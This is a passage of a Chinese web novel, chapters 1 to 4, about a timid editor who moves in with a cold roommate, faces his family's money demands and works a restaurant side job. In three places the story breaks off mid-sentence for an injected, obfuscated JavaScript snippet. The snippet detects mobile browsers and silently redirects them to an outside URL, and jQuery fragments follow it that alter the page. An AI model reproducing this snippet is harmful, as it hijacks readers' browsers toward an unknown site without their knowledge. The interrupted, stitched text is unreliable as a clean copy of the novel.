《网恋到高冷室友怎么办》 1. 第 1 章 叮的一声,安静的工位上有人手机闹钟响起。 司谨将最后一通拒稿邮件发完,回过神才发觉下班时间已经到了,他松口气,将今天的工作整理完,准备起身收拾东西。 下一秒,身边的男同事忽然将脑袋凑了过来:“喂,司谨,下班再一起出去玩呗,我们编辑部聚餐。” 司谨被突然探出的脑袋吓了一跳,循着他的话回想起上次聚餐结束被灌醉丢在路边差点回不了家的狼狈模样,白着小脸摇摇头。 “还是……不了吧。” 他并不习惯拒绝别人,语气是显而易见的发虚。 正苦恼着如果同事再度发出邀请该如何拒绝,放在桌上的手机屏幕忽然亮起,新消息弹窗上面是尚未退出的地图导航方向提示。 “大家都去,你一个人不去不合适吧。”男同事果然又搬出了那套说辞,“况且上次你不是玩得很开心吗?” 司谨紧张到后背发直,攥紧发汗的手心,说出整理好的合适说辞:“抱歉,我今天要搬家,跟房东约好了的,如果今天不搬走的话,我的东西会被丢出去,所以没有办法跟你们一起。” 男同事发出长嘘声,显然是不相信。 好在司谨猜到了他的反应,顺势点开了微信聊天里和房东的沟通记录。 房东勒令他尽早搬走的语气十分不客气,同事凑过来看完聊天记录,不由得啧了声:“说话这么难听的,你这是对人家的房子干了什么事啊?” “不是,是因为室友……” “不去就不去吧。” 司谨想解释什么,但同事没给他机会,吐槽完那句就转头吆喝其他人一起下班聚餐去了,没再理会他。 司谨愣怔片刻,低垂下脑袋,以最快的速度收拾好东西离开公司。 正值下班高峰期,一下楼映入眼帘的便是行色匆匆的下班族,司谨将手机放进拉链口袋里,埋头挤入了人群。 回出租屋的路上,他收到了来自室友的好几条消息。 郭荣:【你东西堆在这什么时候拿走啊?】 郭荣:【差点撞到我脚了,再不回来我丢出去了!】 郭荣:【别装死】 司谨靠在地铁门边上,长长吐出一口气。 小司:【我马上就到】 发完,他把手机塞回了口袋,抬头看着屏幕上的到站提示,耳边是疲惫的下班族刷视频聊天的声音,他低下头,心中泛起了一阵惆怅。 那个同事是个大嘴巴,今晚聚会的时候肯定要把看见的聊天对话告诉其他同事,其中说不定还会夹杂很多恶意猜测,把他曲解成一个刁蛮可恶的租客。 可是……明明是他的室友不遵守合租规则,才逼得他要搬走。 司谨有些难受。 从毕业进入海文这家小公司工作以后,他就一直没有搬过家,因为当时工资不高不低,所以那算是他当时能租到最合适的房子了,但自从前室友搬走,郭荣搬了进来,他的生活就变得一团糟。 郭荣从不遵守合租规则,没日没夜在客厅听音乐打游戏,发出震天响的声音,还总是带朋友回来,司谨无意间撞到过很多次他不关门在房间办事,令他十分困扰。 而房东出租的房产很多,不喜欢管这些租客之间的事情,收到司谨的反馈以后也只是让有意见的人自己搬走。 司谨胆子小也不想闹,便只能趁着周末休息没日没夜看房,最后运气好捡漏到了一处不错的房源,无论是地形还是房子本身都比他现在住的地方要好,房租也没有贵很多。 现在就希望室友能够是一个好相处的人了。 抱着这点期盼,他出了地铁站便快速赶回了出租屋,和搬家师傅一起将打包好的行李都搬上车。 他刚拎着最后一个行李箱出门,郭荣打着赤膊从房间出来,看见他气喘吁吁的样子,就冷哼一声直接把房门甩上了。 楼道里荡起一阵回响,司谨抓着推拉杆的手微微蜷缩起来。 - 坐上师傅的面包车,司谨抱着怀里的背包望向窗外,心情放松了许多,环境的改变总是会让人充满期望。 但车里还没安静多久,师傅便主动搭话:“小伙子,你刚毕业?” 司谨摇摇头:“我已经工作一年了。” “哟,这倒是看不出来,学生气很重嘛。”师傅把着方向盘,开始例行客套,“在哪工作呢?” 他们整天开车送货,早就养成了这种热情的习惯,若是换做别人可能含糊两句就当听不见了,可司谨微微收拢手指,却还是一字一句乖乖回应。 “在天海大厦附近。” “哟,那地段不错啊,该不会是个小领导吧。” “不是……” 师傅态度很是热情,压根不管他回答什么,一路上都是对于年轻人努力工作的夸赞,接着又开始说起自己身边的见闻。 直到车在小区门口停下,才终于打断了他的演讲。 保安亭里的年轻人穿着精致的制服,和身后高规格的小区很是契合,司谨将自己的门禁卡递过去,对方检查过后礼貌微笑俯身,双手将卡片给递了回来。 司谨有些不太习惯这种态度,莫名产生了一种格格不入的感觉。 开进了地下车库,师傅啧一声:“这里的房子可不便宜,你是合租吧?” 司谨把卡塞进包里,点头:“是,这里离我公司更近。” “这一个月租金不便宜吧?” 司谨犹豫一瞬,回答:“一千多。” 师傅被吓了一跳似的,在对应楼栋将车停好,跟他一起把东西搬进电梯。 “我记着这里的房子出租都要几千块吧,你这价格能租到是真的运气蛮好,房东也是个好说话的吧。” 被他一提醒,司谨才发现自己都没有见过房东,只是通过中介签的合同。 “我就给你送到这啊,记得给个好评。” 师傅帮着他将行李搬进了电梯,没有进来。 “好,谢谢师傅。” 电梯门顺势关上,司谨道过谢,抬手摁下了22层。 - “2202……” 费劲地拉着最后一个箱子出了电梯,司谨喘口气,看着明显比自己原先住处高了好几个档次的大门,莫名有些露怯。 低头蹭了蹭灰扑扑的鞋子,他走到相应屋门前,先敲敲门,接着才输入密码。 不知道室友这个点在不在家,不过他初来乍到还是先敲门吧,不然吓到人就不好了。 门刚打开,司谨站在门外往里探头,透过玄关的隔断柜子看见装修精美的大厅中出现了一道身影。 那人只穿着一条宽松的短裤,露出精悍强壮的上身,头发乱糟糟的,一张英俊的脸上此时都是不耐烦的戾气,狭长眼眸微眯着,似乎是在睡梦中被吵醒。 “不好意思……” 司谨猜到这人就是他的室友,不禁在心底感叹了一句颜值好高。 见对方毫无反应,才回过神连忙开口介绍自己:“你好,我是司谨,今天刚搬过来,以后麻烦了。” 男人绕过隔断站在不远处,视线始终落在他身上,缓慢上下打量挪移最终定格在他脸上,目光无端灼热,像是要把他给盯出一个洞来。 这种被审视的感觉并不好受,司谨逐渐揪紧衣角。 他还想再说些什么话缓和气氛,可他本身就不是一个很会聊天的人,最后还是没能发出半点声音来。 “燕绥安。” “啊?” 司谨下意识怔了下,跟男人对上目光才反应过来这是他的名字。 “好的,我记住了。” 燕绥安抬手揉了把头发,司谨的目光不自觉被他深色的宽大手掌吸引,脑海中莫名闪过了网上很火的单手抓篮球挑战。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019021|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是燕绥安这种,肯定很轻松吧。 “我要睡觉。”燕绥安转身回房间,语气冷漠丢下这么一句。 司谨明白他的意思:“我会小点声的。” “嗯。” 回答完这句,司谨本就想去电梯口搬自己的行李,可一抬头才发现燕绥安还没回房间,正抬眉斜斜朝他看过来。 还有事情吗? 司谨脸上透出茫然。 接着,他就看见燕绥安视线垂落在他鼓鼓囊囊的外套口袋上,不咸不淡说了句:“忙完记得看手机。” 司谨没太懂他的意思,等迟钝点过头,看着视线中的人进了房间,才后知后觉奇怪,为什么要看手机?暗示他注意时间不要收拾到太晚吗? 点开手机才发现已经七点多,如果今天要收拾完房间,肯定会到深夜,难怪新室友会那样说。 有了提醒,他脱了外套将袖子卷起,以最快的速度将行李收拾进自己的房间。 等结束了关上房间门,他长舒一口气,看着比原先大不少的房间,郁闷多日的心情终于变得轻松了一些。 - 简单收拾好床铺和衣柜桌子,其他的零碎东西先堆在角落,房间内已然有了温馨的感觉。 刚直起身,桌上的手机叮咚作响,是原本说好帮他搬家的朋友打来电话。 接起,对面的宋晓西便是一阵道歉。 “对不起啊司谨,我原本都跟别人调好班的,谁知道他临时反悔了!搞得我现在才下地铁,你东西还没收拾完吧,我来帮你。” “没关系的,”司谨体贴道:“我已经收拾差不多了,等你到了,我们在周围找个地方吃饭吧。” 之前看房子的时候宋晓西就废了很多心,就连搬家的师傅也是他帮忙联系的,司谨自然不会对他有任何怨言。 “我就知道你最好了!”宋晓西在那边嘟囔着,“我已经到小区了,是22楼吗?” “对。” 挂断电话,司谨转身去穿外套,顺便将窗户打开。 听见敲门声以后急匆匆出去打开门,看见拎着礼物的宋晓西,他有些惊喜。 “你之前不是睡不好吗,给你买了点助眠香薰,味道很淡的。” “谢谢!” 宋晓西嘻嘻一笑,等他接过才抬眼朝着漂亮客厅里张望,“好大啊,这里的房子真不错,你真是捡到大漏了。” 司谨先回房间放礼物,出来正想说话,就看见斜对面的主卧房间门忽然被打开。 年轻男人已经换上了简单的深色休闲服,头发看起来也是特别整理过的,似乎是要出门。 司谨愣怔,忽然发现自己比他矮这么多,要微微抬着头才能对上燕绥安那双狭长闲散的眼眸。 对方脸上没什么表情,看见他以后薄唇微张,似乎想说什么。 与此同时,宋晓西靠在玄关大门上发出哀嚎:“羡慕啊,宝贝,我最近真的好衰,一会儿你可得好好安慰我。” “好。” 司谨下意识回应,目光再挪回燕绥安的脸上,就发现他皱了皱眉头,表情变得不太好看。 未等司谨主动打招呼,他冷漠开口:“合租条款你看了吗?不能带人回来。” 如果司谨没那么紧张的话,或许还能记起条款里写的是“未提前打招呼不能往家里带人”,但他这会儿第一反应就是心虚,连忙道歉。 “抱歉,我朋友不会进来的,我们只是一起去吃饭。” 他说完想到可以邀请新室友一起去,这样还能熟悉一下。 但还没开口,燕绥安就冷冷瞥了他一眼,又看向门口正好奇朝这边张望的宋晓西,修长手指曲起搭在门边,砰的一声将房门关上了。 房门荡起的风拂过司谨的眉眼,紧闭的房门漆黑冰冷,让他茫然间不免感到失落。 完蛋了,他是不是又没有跟室友搞好关系。 2. 第 2 章 小区周边的火锅店生意很好,等位途中宋晓西还对刚才看见的那一幕念念不忘。 “我去,你那是什么室友啊?我连门都没进,他哪来这么大气?还在那摔门,要不是顾忌你以后还得跟他相处,我非得骂死他不可!” 司谨垂着眼眸,摩挲一下干燥的手指,小声说:“没事的,他应该只是误会了。” 之后解释清楚应该就可以,或许新室友跟他一样,之前也遇见过不遵守规定的室友吧,所以反应才会这么大。 宋晓西脾气暴,这会儿一肚子气没地方撒。 “你还是脾气太好,但也别那么逆来顺受了啊。” 司谨揪着手指,不知道该说什么,他的确就是个这样的性格。 宋晓西知道他很不擅长拒绝别人,不由担心起来:“你可别跟之前一样,他让你帮忙干什么你就帮了,万一他随便使唤你呢?” 在他心里,司谨哪里都很好,人长得干净漂亮,工作努力情绪也很稳定,但就是性格太内向了,尤其是在拒绝人这方面全然没有天分,只要别人对他软一些语气,他基本上就说不出拒绝的话来。 但是这也没办法,他知道司谨养成这样的性格跟家庭有关系,不是一两天能改过来的。 “你放心吧,我现在不会那样了。”司谨忍不住把今天拒绝同事下班聚餐邀请的事情告诉了宋晓西,说话间清秀干净的眉眼微微弯起,浮现出细碎笑意。 宋晓西有些惊讶:“不错啊,这种浪费时间的破聚会就得狠狠拒绝!下次不搬家也拒绝!” 司谨听话点头。 正巧服务生提醒他们可以进去入座,两人便起身进了餐厅。 司谨是等落座以后才发现宋晓西的表情不太对劲的,忍不住问:“你怎么了?” 宋晓西脑海中还浮现着方才司谨冲自己笑的那一幕,想到什么,有些心虚:“司谨,你记得我上次给你注册的那个交友账号吗?” “嗯?”司谨用手机扫了桌上的点餐码,好奇抬眸,“我记得的。” 宋晓西平时很喜欢玩这些,之前劝他多交些朋友,就给他也注册了一个账号。 宋晓西说:“很多人选择了喜欢你,我就说你长得好看,这几天我后台的消息都要爆炸了。” 司谨有点儿惊讶:“但是我听说这些交友软件认识的人都不太正经。” “有一部分吧……”宋晓西想和他分享私信里那些恶臭的骚扰消息,但看了眼司谨单纯的表情,又还是把那话给憋了回去,只道:“你知道吗?还有很多男的选择了喜欢你。” 司谨眨眨眼睛,呆愣的样子看着有些傻:“啊?” “哎呀,这很正常的,你挂上去的那张照片还是我亲手拍的,又乖又漂亮,白嫩嫩的小脸我看了都想啃两口。”宋晓西啧啧两声,“谁能不爱啊。” 司谨有些不好意思,没接话,点了几个菜把手机推过去给他选。 宋晓西接过手机,漫无目的划拉两下屏幕,犹豫很久才又抬起头,问:“所以你真的不考虑玩一下?这个软件里有的人还是挺不错的,还有人给你发了好多消息呢。” 司谨摇头:“还是算了吧,我现在没有时间想这些,马上年底工作会更忙的。” “好吧。”宋晓西摩挲一下掌中的手机,还是没有再提。 他们两个都喜欢吃辣,吃完火锅以后出了商场,嘴唇和脸颊都是红的。 等车时,宋晓西还呼着气问他周末的安排:“你这周还去一粟兼职吗?搬家要收拾的东西挺多吧,要不休息一周好了。” 一粟是先前宋晓西介绍给司谨的餐厅兼职,那里对员工的外貌体态要求很高,平时算不上辛苦,时薪相较其他地方也很优越,所以司槿周末通常都会在工作。 不过这周要处理的事情的确多,后台还有很多稿子没有审完,他得加点班,还有房间需要整理,确实挺累的。 但纠结了很久,司谨还是没有直接做决定:“我今晚回去看看吧,如果有空我就去。” 彼时车已经来了,宋晓西也没再多劝,只让他多注意休息别太辛苦。 司谨点点头,目送他上车,等车门关上又想到什么,朝前走了一步。 “晓西。” 宋晓西刚系上安全带,回头:“嗯?” “交友软件的那个账号……你帮我注销了吧。”司谨声音很小,“我可能没有时间玩。” 宋晓西怔了两秒,等车开出去了才从窗子里伸出手朝他挥了挥。 这就是听见的意思。 司谨舒口气,裹住外套,等车开走才转头朝身后不远处的小区大门走去。 刚才桌上太热闹,宋晓西要了酒,他也跟着喝了两杯,在温暖的商场里走动时脑袋发晕,这会儿被深夜的冷风一吹倒是清醒了几分。 他细数着这些天发生的事情。 搬家了,终于远离了难相处的室友,应该能够拥有舒适的下班休息时光。 工作方面,这个月的kpi快要完成了,今年工作也很认真,应该可以拿到很不错的年终奖金,但跟同事之间还是没有打好关系。 至于家里…… 外套口袋里的手机嗡嗡震动起来,司谨微怔,在幽暗的环境中点开屏幕,莹莹微光投射在他脸上。 【妈妈】 “小谨,下班了吗?” 记忆中女人素来蛮横强势的声音此刻满是讨好,甚至还透出了几分诡异的温柔,叫司谨不由得愣怔片刻。 “妈妈,怎么了?” 他的老家洛城是个很小的城市,除开节假日,基本上晚上九点多外头街上就已经没有人走动,按理来说这个点李美花也该休息了。 所以……肯定是发生了什么。 李美花说:“就是想问问你最近工作顺不顺利,在外头没有受同事领导欺负吧?” “没有的。”司谨面对她撒谎却不显心虚,这会儿脑袋昏昏沉沉的,竟然也从和她的对话中感受到了几分难得的温情。 在这样的氛围之下,他心底一软,正想要将自己的近况告诉母亲,对面却开始絮絮叨叨说起了家里的事情。 “你爸最近风湿又犯了,跑了好几回中医馆都没什么作用,现在接不了什么活,本来家里情况就紧张,结果你弟弟在学校不学好,居然还跑去跟人家打架,去警察局领人的时候他满身都是血,真的是……” 李美花说到这里,语气中满是失望和怨念。 司谨握着手机的掌心微微缩紧,很快明白了她的意思:“那边是怎么处理的?” 他语气柔和,李美花听见却是瞬间愤怒起来,也不知是要将这份愤懑发泄到哪里。 “还能怎么处理?别人都说是他先动的手,人家倒是没多少伤,他自己搞得右手骨折了,又是做手术又是打石膏的,现在每天在家里哪都不能去,到时候还要去拆线!前两天你哥哥也跑回家里来,说上班让老板坑了工资,现在连饭都吃不起,我们家里现在也都快要揭不开锅,我说让你姐姐去上班她还不乐意,非要继续学那个什么化妆,还得往里头搭钱!” 外头冷冽的风刮在身上,让司谨有了种莫名的错觉,仿佛心上也紧跟着穿了一个洞,丝丝缕缕往中间刮去,让他浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019022|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身都冷了个遍。 方才好不容易涌起的那些温情逐渐消失,他的眼神变得平静下来。 “我知道了,我会打一点钱过来,你帮我给姐姐吧,她学了这么久现在放弃也很可惜,但是……我现在手上没有很多。” 李美花几乎是迟疑也没有,就问:“有多少打多少吧。” 司谨嗯了声。 但是李美花却似乎并不满足于此,停顿片刻后又道:“你之前读大学还会往家里交钱的,现在工作怎么反而还不给家用了?” 原来这才是来询问他工作是否顺利的原因。 似乎意识到自己的话太过分,李美花又找补道:“要不是家里实在困难,我们也不会找你要,做父母的不都希望孩子过得好,但现在情况特殊嘛。” 司谨深吸口气,脑海中闪过了前些时间看医生时得到的那些安抚,努力整理着措辞,一字一句回答。 “我现在工资很少,租房子花了很多钱,没有多余的了。” 李美花啧一声,很不高兴似的,说:“那你多注意身体,在外面别饿着,钱快点打过来,你姐姐着急用。” “知道了。” 眼前就是熟悉的小区楼栋,司谨在进去前将电话挂断,等进入了较为温暖的大厅,身体还是紧绷着的。 原本因为和宋晓西吃饭聊天好起来的心情,只是因为一个简单的电话,便再次跌落谷底。 生活里怎么好像真的没有一件舒心的事情呢? 脚步沉重回了家,他进门以后便听见房间门传来砰的一声,换好鞋抬起头,却发现屋子里面空无一人。 猜测是燕绥安在他进门的时候正好回了房间,司谨心底无端升起一股失望。 他不知道是不是因为室友还在因为宋晓西的事情生气,所以故意躲着他。 但是今天实在太晚了,他工作完又搬了家,身上很是疲惫,所以最后也只是抓着衣服去浴室洗过澡,便回到房间休息。 第二天一早闹钟响起,他刚起身就看见窗帘下撒了一道明媚的灿烂阳光,这是他原本住的地方看不见的,一时间心情变得轻松了几分。 拉开窗帘洒进一室阳光,洗手间也是干净整洁的,不像先前住的地方,前一天刚打扫过眨眼又留下了大片的污渍。 只是等回房间算了算这个月的账,他一下子又蔫了下来。 前房东昨晚借他没有爱护好房间里的家具为由,扣了他一半的押金,而住在这里是押二付一,已经花了他很多钱,加上昨晚打给家里的那些,他省吃俭用攒下的小金库一下子就变得空荡。 看来兼职还是不能丢,好在房间收拾的差不多,等下班再回来简单拾掇就可以。 差不多到了时间,他回复了餐厅领班的消息,拎上背包出门,正好撞见斜对面主卧的房门打开。 燕绥安穿着一条灰色长卫裤,正一边出门一边扯着宽松T恤往下穿,司谨的目光不受控制地从他精窄有力的腰腹扫过,觉得有些冒犯,忙挪开视线。 “燕……早上好。”他愣一下,没想起来具体的名字,只得赶紧打招呼。 生怕表现得不够友好,又着急忙慌挤出了一抹笑容。 谁料燕绥安只冷冷扫了他一眼,便径直从他面前穿过,连一个字都没说。 “……” 屋内的温度瞬间降至零点。 司谨脸上的笑容僵硬片刻,唇角的弧度变得有些苦涩,他揪着袖口布料,绕过了走廊出去,看见燕绥安正站在餐桌边,修长宽大的手掌握着宽口玻璃杯大口喝水。 他真的有这么让人讨厌吗? 3. 第 3 章 一粟向来是中午客人多,司谨赶到时后厨正热火朝天,他从后门进入休息间,被领班催着去换工服整理仪容。 “今天楼上有重要的客人,你今天就负责大厅B区。” “好的。” 大厅向来是最忙的,好在司谨这种兼职的服务生只需要注意周围的客人餐桌用具和倒酒就可以了,通常情况上菜是由专门服务生送到桌前,然后由他们端上桌服务。 当初宋晓西将这个兼职介绍给他时,他还以为是开玩笑的,怎么可能会有餐厅专门雇这种门面服务生,可等来面试了才发现一粟的规则就是如此,就连餐品外送的服务生都有专门的一套定制制服,当初有外送员上门帮客人摆盘的视频被发出去,还在网络上爆火过一阵,导致现在一粟的外送都供不应求。 换好衣服戴上耳麦进入了大厅B区,这里已经有了几桌客人。 司谨穿着熨好的棕色马甲制服,浅栗色的头发用发胶打理抓过的,流畅漂亮的五官完全展露出来,一双琥珀色的杏眼平静,在餐厅悠扬的钢琴曲中同隔壁区的服务生一同伫立,行程了一道瞩目的风景线。 “又有人在拍你。” 边上的同事刘有意笑了声,语气中带着戏谑。 司谨视线不着痕迹地扫过落地窗边的那桌,正好捕捉到了年轻女人放下手机的画面。 “你这类型还真有人喜欢,不考虑跟lex一样找个富婆吗?” 司谨沉默两秒,实话实说:“不想。” lex是原先在一粟工作两年的门面服务生,长相英俊能说会道,每次都能将自己负责领域的客人逗得很开心,前些时间据说和一个有钱的大小姐在一起,就辞职出国旅游去了。 刘有意在这也工作两年了,从前同lex的表面关系不错,现在lex走了,却总是趁着休息时间跟其他同事吐槽lex,说他抱大腿当鸭子,以后被踹了肯定又要灰溜溜跑回来。 别人的事情司谨并不怎么在乎,他清楚自己并没有那么优越的外表,不会面临lex的那种选择。 而且之前宋晓西来找他时就提醒过,说刘有意这人看着心眼就很重,叫他要远离些,所以这会儿他也并不打算和刘有意多聊。 “你不……”刘有意正要说话,司谨却听见耳麦中传来一阵电流音。 领班的声音传入耳中:“大厅今天人不多,外送已经爆满了,你们负责大厅的腾一个人出来去帮忙送一餐。” 两秒没人应答,领班直接点了名:“刘有意,你方便吗?” 刘有意是店里的老人了,领班向来第一时间就会想到他。 而刘有意很快将视线落在司谨身上,直接回话:“让司谨去吧,他外形条件比我好多了,正好新人历练一下,我一个人看AB区够了。” “你们自己安排就行,具体信息去出餐台问。” 领班干净利索结束了对话。 司谨从愣怔中回过神来,对上了刘有意含笑的脸:“麻烦你了,冬天太冷我手常年长冻疮,那小毛驴也没个挡风的,回头又犯疼,你就当帮哥个忙。” 按理来说这种活是轮不着司谨这种兼职的,但面对着刘有意热情恳求的模样,司谨却说不出拒绝的话来,只能点点头答应。 他去休息间换了送餐的制服,去后厨取了餐和地址,刚从后门出去就被外头凌冽的风给刮得顿了顿脚步。 好冷。 棉外套披在制服外面,将餐放好正准备导航出发,却发现目的地小区的名字很是眼熟。 星云城,这不是他现在住的地方吗? 没来得及困惑,他怕耽误时间,只能赶紧出发了。 这个天本该穿羽绒服了,但他换季还没来得及买衣服,身上的钱就花的差不多,今年的衣服价格越发夸张,他前些天只是看了看就忍不住退出页面。 还能再熬一熬,等年底的奖金到了,他就能舍得给自己换新衣服。 好不容易到了星云城,他将车停好去找具体位置,却惊奇地发现楼号和门牌也很是眼熟。 9栋,2202! 迷迷糊糊走进了电梯,抵达相应楼层后叮的一声,唤回了司谨的神智。 是室友点的外送吧。 深吸口气,他将脱下的棉衣外套放在窗台边上,提着沉甸甸的竹编食盒上前敲响了房门。 心中默数了五个数,里头细微的脚步声逐渐逼近,紧接着大门被打开。 燕绥安还穿着早上那套衣服,可原本打理过的头发此时却乱糟糟的,看见他的时候很明显皱眉,下意识抬手捋了捋凌乱的头发。 “不是知道密码,用得着敲门吗?”他冷声说完,又瞥了眼司谨身上的制服,“你就穿着这么点?” “这是规定,路上有穿外套的。” 司谨解释完才想起来正事,连忙将食盒拎起来,同事脸上也提起笑容,干巴巴说出了之前培训的统一用词:“尊敬的客人您好,我是一粟融合餐厅的外送员司谨,很荣幸为您送餐,我为您确认一遍今天的午餐,分别是番茄培根肉酱意面、红酒烩牛肉和……这里有特别赠送的南瓜汁,请问需要我为您布置餐桌吗?” 燕绥安无语两秒,松开了把在房门上的手。 “布置吧。” 司谨俯身穿上鞋套,拎着食盒去了餐厅,先戴上手套,再将一粟的小桌布铺开,把放在保温袋里的菜品和餐具都按照位置摆好。 “燕先生,已经为您布置好,可以随时用餐,如果没有别的问题我就先走了,祝您用餐愉快……” “你急着走什么?”燕绥安刚走到餐桌边,脸色就沉了下来,“一粟的外送员不是能服务用餐吗?” 的确有这个规定,但司谨本来觉得燕绥安本身就不喜欢他,肯定不想和他多待,所以直接默认了他不需要这项服务,此时被提醒才回过神来,点头道:“您需要的话我可以留下服务。” 不知为何,燕绥安听完他的话,脸色似乎变得更难看了。 正疑惑地眨眨眼,就看见男人坐在了椅子上,抱臂看向他:“你们餐厅是规定了员工上班时间不能正常说话吗?” 司谨一怔,摇头解释:“没有这项规定的。” 燕绥安:“那你装不认识我?” “没有,这些话都是必须要说的。”司谨也觉得心虚了,“没有装不认识。” 燕绥安不大高兴:“你吃饭了吗?” “还没有,要等回去以后下班了可以吃员工餐。”司谨老实回答。 燕绥安满意了:“那就坐下一起吃吧,正好今天点多了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019023|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司谨有点惊讶,忙道:“我们有规定,不可以跟客人一起吃饭的。” 燕绥安:“……” 他虽然没有说话,但情绪都写在脸上了。 “你是要我请你?” “没有。” 司谨犹豫片刻,还是解开了外套的纽扣,在他对面坐下。 一粟的规定餐具本身就有两套,他刚才只收拾出了一套,这会儿自己找出另外的碗筷开始用餐。 对面的燕绥安在他坐下以后便没有多看他,让他心底升起些感动,他忽然觉得这个室友或许不像他想象中那样讨厌他,还会邀请他留下来吃饭。 桌上很安静,虽然菜品很丰盛,但司谨不敢多吃,没多久听见对面人忽然发问。 “你不是编辑吗?怎么忽然开始送餐了?” 司谨实话实说:“我周末在一粟兼职。” 燕绥安了然点头,还是那副垂着眼对什么都不在意的表情。 只是顿了两秒,司谨意识到什么:“你怎么知道我是……” 话还未说完,便被燕绥安打断:“对于新室友,最基本的情况我还是需要了解的,万一付不起房租呢。” 司谨微怔,想到自己干瘪的钱包,无端心虚:“我会按时交房租的。” “我又没……” 燕绥安抓着筷子的手指一紧,很烦躁似的,但最后还是没再说下去。 气氛一下子又变得尴尬,司谨有些无措地抓着餐叉,觉得这是个很难得和新室友打好关系的机会,便试探着主动发问:“那个,你的名字具体是哪两个字啊?” 他只记住了那个很独特的姓氏。 燕绥安没有说话,而是直接点开了身侧的手机,修长手指在屏幕上敲击两下。 眨眼间,手机屏幕被推至面前,司谨诧异地看着二维码上的两个字。 【绥安】 燕绥安,原来是这三个字。 真好听。 “加我好友,以后有事方便找你。”燕绥安忽然出声提醒他。 司谨回神,刚把手机找出来,就听见面前的手机发出了很特殊的水滴声,是消息提示。 他有意避开了手机上方的弹窗,打开微信扫码加上了好友。 低着头认认真真把自己的名字打在好友申请信息里,他发完抬起头,看着已经把手机拿走的燕绥安,提醒:“我发了申请。” 可让他惊讶的是,燕绥安拿着手机,不知道是看见了什么,脸色忽然间变得有些阴沉,就连饭也顾不得吃。 怎么了? 司谨有些好奇,但是他不太清楚自己应不应该问。 而下一秒,燕绥安忽然将视线落在了他的身上,隐隐间有些不可置信:“你刚才一直没碰手机?” 司谨一愣:“我只扫了你的好友码。” 他不明白,从进门开始他就一直和燕绥安待在一起,难道对方始终没有注意他他动作吗? 又或者是他刚才听错了?燕绥安难道并没有让他添加好友,只是单纯给他看自己的名字? 正不安着,燕绥安手机上的水滴提示声又叮咚响起。 燕绥安骤然冰冷的视线缓慢挪回屏幕,像是忽然发现了什么不可思议的事情,表情肉眼可见森然阴冷。 4. 第 4 章 直到拎着食盒回到一粟,司谨也没搞明白燕绥安到底为什么生气。 从看见那些消息以后,一直到他离开,燕绥安都没有再跟他说过一句话,看起来心情也不是很美好。 发生了什么?和他有关系吗? 之后的工作时间他始终提不起情绪,总觉得自己好像又搞砸了一段本该格外重视的关系。 他这样的沉默原本是因为燕绥安,可等到了工作结束,其他人都在休息间吃午餐,他准备用保温盒装回去用作晚餐时,却听见不远处拐角刘有意正和人偷偷说他的坏话。 “小司也真是的,让他帮个忙,回来就一直给我脸色看,要是知道他意见这么大,我就算冻死也得亲自去,现在好了,惹得人家心情都不好。” 刘有意语气听起来体贴,可话里话外都是责备。 “不是吧?司谨不像是心眼这么小的人。” “这本来也不是你的活,刘哥你用不着自责什么。” 其他人出声安慰,刘有意却是无奈叹息:“谁知道呢,我原先也以为小司人比较和善,没想到会因为这点小事生气,一会儿我还得去给他赔罪。” 他话音刚落,旁边就有人说:“你犯得着理会他吗?一个兼职罢了,真以为能跟lex一样,凭着一张脸在餐厅里横行霸道吗?” “就是,刘哥你用不着跟他一般见识,小年轻不懂事而已。” “我……” 刘有意正想要再说些什么,边上却忽然传出了一阵不悦的女声。 “你们在这瞎说什么呢?司谨是你们说的这种人吗?刘有意,你是不是闲的?” 司谨听见这声音一怔,顿感大事不好。 刚从角落中出去,就看见前台彭露正站在刘有意的面前,表情满是不悦。 而刘有意的脸色僵硬,像是被戳穿了什么。 旁边两人本身就是看戏的,见着忽然有人来了,都噤声开始观察两边人的神色。 刘有意的表情不好看,盯着气冲冲的彭露看了两秒,忽然笑了起来:“哎呀小彭,我说的是司谨,你这么大气做什么?难不成也跟那些个大小姐一样,看上我们司谨了。” 彭露丝毫没有被他的话给影响到,闻言反而是嗤笑一声:“你是不是自己整天瞎揣测幻想,所以总是把别人也想象成那样?” 在餐厅的人基本上都听过刘有意私底下嘲讽lex,最开始还显得像是瞧不起,可之后那话里话外流露出来的嫉妒却是藏也藏不住,所以这会儿周围的人看向刘有意的眼神也都变得古怪。 “……” 司谨看见刘有意的表情不好看,连忙上前:“到下班时间了吧。” 他的声音很轻,也没有去看刘有意和其他同事的表情,显得好像是刚出现一般。 见到他出现,其他几人更是不敢说话了。 